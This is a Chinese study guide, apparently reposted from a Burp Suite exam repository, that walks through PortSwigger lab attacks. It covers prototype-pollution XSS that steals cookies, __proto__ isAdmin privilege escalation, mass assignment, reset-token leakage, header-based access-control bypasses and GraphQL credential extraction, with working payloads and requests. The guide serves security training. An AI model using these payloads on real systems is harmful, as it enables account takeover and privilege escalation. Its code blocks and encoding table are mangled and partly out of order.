[PortSwigger 实验室:通过 jku 标头注入绕过 JWT 身份验证](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jku-header-injection)  

-----

## 原型污染  

>攻击者向全局 JavaScript 对象原型添加任意属性,这些属性会被用户定义的对象继承,从而引发客户端 DOM XSS 或服务端代码执行。  

[客户端原型](#client-side-proto)  
[服务端原型](#server-side-proto)  
[DOM Invader 启用原型污染](https://portswigger.net/burp/documentation/desktop/tools/dom-invader/prototype-pollution#enabling-prototype-pollution)  

### 客户端原型  

>目标容易受到通过客户端原型污染导致的 DOM XSS 攻击。**[DOM Invader](#dom-invader)** 将 ***识别*** gadget,并使用托管的有效载荷对受害者进行钓鱼攻击并窃取其 cookie。  

>在 Exploit 服务器的 Body 部分托管一个利用代码,将受害者导航到一个恶意 URL。```html
<script>
    location="https://TARGET.NET/#__proto__[hitCallback]=alert%28document.cookie%29"
</script>  

原型污染

上图展示的是正在发送的投递给受害者的网络钓鱼请求。

PortSwigger Lab:第三方库中的客户端原型污染

原型污染

服务端原型污染

要识别原型污染,请在以低权限角色身份认证时,在更新用户配置信息的 JSON POST 请求中插入以下内容。
查看 Trevor TJCHacking 关于通过服务端原型污染进行 PrivEsc 的教学视频。```JSON "proto": { "foo":"bar" }

root@kitploit:~
![识别 __proto__](https://assets.kitploit.com/production/public/readmes/51008/c112512ded8e858f47752489625221d1bf364e687dbee58c550422904cae97e2/26cdbc7bf19f5fed4b3051d5294f8b20e0f5bee781e2b6a954fa2280ca5063d8-display-v1.webp)  
  
>观察 ```isAdmin``` 属性,并使用下面的 ```__proto__``` 载荷重新发送 POST update account 请求,以将我们的访问角色提升为 Administrator。```JSON
"__proto__": {
    "isAdmin":true
}

PortSwigger 实验:通过服务端原型污染实现权限提升


API 测试

利用批量赋值漏洞
API 重置密码参数污染

利用批量赋值漏洞

API 执行 GET 请求,紧接着直接执行 POST 请求;在 POST 请求的响应体中注意额外的 JSON 参数,这些参数表明存在隐藏参数字段。 添加诸如 {"admin":true} 之类的隐藏字段,可提升为更高权限的用户,或获取用户的敏感信息。

在下面的实验室练习中,电商网站有一个折扣参数,将其值设为 100 即可在结账时免费获得产品。

批量赋值隐藏参数

通过 POST 或 PATCH HTTP 动词请求中的 API 端点隐藏参数进行权限提升。```json { "username": "carlos", "email": "[email protected]", "isAdminLevel": true }

root@kitploit:~
[PortSwigger Lab: 利用批量赋值漏洞](https://portswigger.net/web-security/api-testing/lab-exploiting-mass-assignment-vulnerability)  

### API 重置密码参数污染  

>请注意,重置密码 API 函数在 POST 请求体中使用 username 参数。要***识别***该 API 函数的额外隐藏参数,请插入随机参数 ```&x=y```,以观察错误消息泄露的肯定结果相关信息。
>对随机参数进行 URL 编码,并将其添加到当前的 POST 请求体参数中:```
username=administrator%26x=y

URL 编码字符表

  • %3F - ?
  • %3E - >
  • %3D - =
  • %3C - <
  • %3B - ;
  • %2C - ','
  • %28 - (
  • %29 - )
  • %27 -

根据响应,可能存在一个名为 field 的第二个参数;查看 JavaScript 源代码,发现存在 reset_token 参数。

api-code-review-forgetpassword

在 POST 请求中添加额外参数 field 并赋值为 reset_token,会泄露用于重置密码令牌的敏感信息。

api-resetpassword-leak-token

浏览目标 URL,添加窃取的重置令牌,并修改 administrator 或 carlos 用户的密码以获取访问权限。

PortSwigger 实验:利用查询字符串中的服务端参数污染


访问控制

JSON roleid 提权
原始 URL
下拉选择角色
追踪到管理员
HTB 要求我删除 CPTS 技能评估的 write-up - IDOR

JSON RoleId 提权

对管理员界面的访问控制基于用户角色,这可能导致权限提升或访问控制(IDOR)安全漏洞。

捕获当前登录用户更改邮箱的提交请求并发送到 Intruder,然后在请求的 JSON 主体中添加 "roleid":§32§,并对可能的 roleid 值进行模糊测试,以寻找管理员访问角色。```html POST /my-account/change-email HTTP/1.1 Host: TARGET.net Cookie: session=vXAA9EM1hzQuJwHftcLHKxyZKtSf2xCW Content-Length: 48 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Connection: close

{ "csrf":"u4e8f4kc84md743ka04lfos84", "email":"[email protected]", "roleid": 42 }

root@kitploit:~
>《银河系漫游指南》的答案是 [42](https://en.wikipedia.org/wiki/Phrases_from_The_Hitchhiker%27s_Guide_to_the_Galaxy#42_Puzzle)  

![Intruder Payload set to identify Admin role ID](https://assets.kitploit.com/production/public/readmes/51008/c5d708232cab458e4fc3c18f7b68dd8a6e727512661b808d0451214dc779e7e1/c7fedc27682f754e56c854f53791eb9381a75fd0a3c08079d356bf04ff84a511-display-v1.webp)  

>攻击者 ***识别*** 出管理员角色的可能角色 ID,然后发送带有更新后的 roleId 的请求,以将当前登录用户权限提升至管理员访问角色。  

![Attack identify Admin role ID](https://assets.kitploit.com/production/public/readmes/51008/8fdf20a7dc7fda90042ebfba029a7625d05416b76896e6af5423f7f9b8c4609b/577bc5a5c7e0ea750cda1ad1b1430d88a7b7b640ab947b44ee925fbee93874ac-display-v1.webp)  

[PortSwigger 实验:用户角色可在用户配置文件中修改](https://portswigger.net/web-security/access-control/lab-user-role-can-be-modified-in-user-profile)  

>参见 [API 批量赋值实验练习](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study?tab=readme-ov-file#exploiting-a-mass-assignment),通过在 JSON POST 数据中插入额外字段来更改 JSON 值。  

### 丢弃选择角色  
  
>提升为管理员有时由角色选择器 GET 请求控制,通过在请求呈现给用户之前 **丢弃** `Please select a role` GET 请求,后端会默认选择 **admin** 角色,从而授予管理员门户的访问权限。  

![Select a role](https://assets.kitploit.com/production/public/readmes/51008/3394a8eb229acf386b4529c914907faecc21f363ed520e973bb8164fee2b8d31/8df6a4efbda6f7ae4e84ac4c30ccea80adabb194b7568116de653310e9f52267-display-v1.webp)  

[PortSwigger 实验:通过有缺陷的状态机绕过身份验证](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-authentication-bypass-via-flawed-state-machine)  

### 原始 URL  

>管理员门户仅可从内部访问。***识别*** 是否可以使用标头 `X-Original-URL` 绕过访问控制,观察 `/admin` 端点请求根据标头值不同而产生的不同响应。```
X-Original-URL: /admin

x-original-url

PortSwigger 实验室:基于 URL 的访问控制可以被绕过

追踪到管理员

无法访问 /admin 门户,但将 GET 请求改为 TRACE /admin 后,响应中包含一个 X-Custom-IP-Authorization: 标头。
使用已识别出的标头来绕过访问控制,进入管理员认证。

追踪信息``` GET /admin HTTP/2 Host: TARGET.net X-Custom-Ip-Authorization: 127.0.0.1 Cookie: session=2ybmTxFLPlisA6GZvcw22Mvc29jYVuJm

root@kitploit:~
[PortSwigger 实验室:通过信息泄露绕过身份验证](https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-authentication-bypass)  

-----

## GraphQL API  

[识别 GraphQL API](#identify-graphql-api)  
[GraphQL 泄露凭据](#graphql-reveal-creds)  
[GraphQL 暴力破解](#graphql-brute-force)  
[GraphQL Voyager 可视化攻击路径](#graphql-voyager)

### 识别 GraphQL API  

>要 ***识别*** 是否存在隐藏的 GraphQL API 端点,请向端点发送无效的 GET 请求,观察消息 `Not Found`,但当发送 `/api` 时,响应为 `Query not present`。  

![graphql API 识别](https://assets.kitploit.com/production/public/readmes/51008/4eac24ca16e80841ca387ce8729c4eca6071cb419a84b7064467f3a973f4ec62/64be1f8103783a3e9a811f014e6a0d7bf4f0c6dfa38078beeb19656edcfc0adf-display-v1.webp)  

>对 GraphQL API 端点进行枚举需要使用通用查询进行测试。  
>修改 GET 请求,将查询作为 URL 参数:`/api?query=query{__typename}`。  

>以下响应验证了 GraphQL 端点的 ***身份***:```JSON
{
  "data": {
	"__typename": "query"
  }
}

检查 introspection,将新的请求 URL 编码的 introspection 查询作为查询参数。```HTML /api?query=query+IntrospectionQuery+%7B%0D%0A++__schema+%7B%0D%0A++++queryType+%7B%0D%0A++++++name%0D%0A++++%7D%0D%0A++++mutationType+%7B%0D%0A++++++name%0D%0A++++%7D%0D%0A++++subscriptionType+%7B%0D%0A++++++name%0D%0A++++%7D%0D%0A++++types+%7B%0D%0A++++++...FullType%0D%0A++++%7D%0D%0A++++directives+%7B%0D%0A++++++name%0D%0A++++++description%0D%0A++++++args+%7B%0D%0A++++++++...InputValue%0D%0A++++++%7D%0D%0A++++%7D%0D%0A++%7D%0D%0A%7D%0D%0A%0D%0Afragment+FullType+on+__Type+%7B%0D%0A++kind%0D%0A++name%0D%0A++description%0D%0A++fields%28includeDeprecated%3A+true%29+%7B%0D%0A++++name%0D%0A++++description%0D%0A++++args+%7B%0D%0A++++++...InputValue%0D%0A++++%7D%0D%0A++++type+%7B%0D%0A++++++...TypeRef%0D%0A++++%7D%0D%0A++++isDeprecated%0D%0A++++deprecationReason%0D%0A++%7D%0D%0A++inputFields+%7B%0D%0A++++...InputValue%0D%0A++%7D%0D%0A++interfaces+%7B%0D%0A++++...TypeRef%0D%0A++%7D%0D%0A++enumValues%28includeDeprecated%3A+true%29+%7B%0D%0A++++name%0D%0A++++description%0D%0A++++isDeprecated%0D%0A++++deprecationReason%0D%0A++%7D%0D%0A++possibleTypes+%7B%0D%0A++++...TypeRef%0D%0A++%7D%0D%0A%7D%0D%0A%0D%0Afragment+InputValue+on+__InputValue+%7B%0D%0A++name%0D%0A++description%0D%0A++type+%7B%0D%0A++++...TypeRef%0D%0A++%7D%0D%0A++defaultValue%0D%0A%7D%0D%0A%0D%0Afragment+TypeRef+on+__Type+%7B%0D%0A++kind%0D%0A++name%0D%0A++ofType+%7B%0D%0A++++kind%0D%0A++++name%0D%0A++++ofType+%7B%0D%0A++++++kind%0D%0A++++++name%0D%0A++++++ofType+%7B%0D%0A++++++++kind%0D%0A++++++++name%0D%0A++++++%7D%0D%0A++++%7D%0D%0A++%7D%0D%0A%7D%0D%0A

root@kitploit:~
![graphql-api-introspection-query.png](https://assets.kitploit.com/production/public/readmes/51008/82e61724d9e72772b0a73d630a97e08c25b50b0170af17f3e04d08ba7275de68/bc142921396ba980663c6c26c8ba68b290d6b4a68e03ebd04556d7df914206f7-display-v1.webp)  

>绕过与 **regex** 过滤器匹配的 introspection 保护,并修改查询,在 `__schema` 之后加入 `%0a` 换行符,然后重新发送。  

>将 introspection 响应保存为 `graphql.json`,并从保存的响应文件中移除 HTTP 头,仅保留正文。  

>在 InQL Scanner 选项卡中,加载 `graphql.json` 文件并输入以扫描 API 端点。  
>展开 schema 的扫描结果,找到 `getUser` 查询。  
>在 Repeater 中,将 getUser 查询作为参数复制粘贴,并发送到已发现的 API 端点,但首先要对所有字符进行 URL 编码。  

>尝试不同的用户 ID,直到 API 确认 `carlos` 的用户 ID 为 3。

![graphql-api-getuser-sensitivedata.png](https://assets.kitploit.com/production/public/readmes/51008/1d3e4914e4796fe193b026b4da225cff80e3804166e52a34ef0a0fd208b0d23c/82bc0fe2dbad60089e2d001f87522f20363ab00749451e3900ef36a4416cc940-display-v1.webp)  

>这会为你提供系统上某个用户的敏感信息,例如登录令牌、登录密码信息等。  

[PortSwigger Lab: 查找隐藏的 GraphQL 端点](https://portswigger.net/web-security/graphql/lab-graphql-find-the-endpoint)  
  
### GraphQL 揭示凭据  

>拦截发送到目标的登录 POST 请求。***识别***包含用户名和密码的 GraphQL mutation。  

![graphql-identify](https://assets.kitploit.com/production/public/readmes/51008/3555950a6a380ec4e06db62835c1659964793121f9fd641f860cb40152eafa41/13a04177b552eb87ab07fadf350d5a083d78a2f005356dd14606d58d93dc56c9-display-v1.webp)  

>复制 `/graphql/v1` POST 请求的 URL,并粘贴到 ***InQL Scanner*** 选项卡中以扫描 API。  

![graphql-scanner.png](https://assets.kitploit.com/production/public/readmes/51008/67993a826d0e73d2cedaf48e2f8ae870ee074579159ce1219b035a6dead3a434/36cd5c95edee37740a16831232f8aa7623c08f1a465dcae85db1321a4e00e60d-display-v1.webp)  

>有一个 getUser 查询会返回用户的用户名和密码。该查询通过直接引用 ID 号来获取相关用户信息。  

>通过将 InQL 选项卡中的查询值替换为下面从扫描器发现的 `getuser` 查询来修改请求。  
>在 POST JSON 正文中移除 `operationName` 属性和值。  

![graphql-modify-request.png](https://assets.kitploit.com/production/public/readmes/51008/b64ced35dccb659d8eb005d6b17e966e17079c34ec2240271ccf1d1b24f258b9/e6d2691a0dc076660a3ec7ce05c34b965f03d96fc45bec4c1b5695fb7dd2e320-display-v1.webp)  

>以管理员身份登录该站点,并访问 Admin 面板。

---

[了解更多](https://github.com/botesjuan/burp-suite-certified-practitioner-exam-study)
下载工具
'
  • %26 - & 分隔符 不同参数之间
  • %25 - %
  • %24 - $
  • %23 - # 片段标识符
  • %22 - "
  • %2F - /
  • %27 - 反引号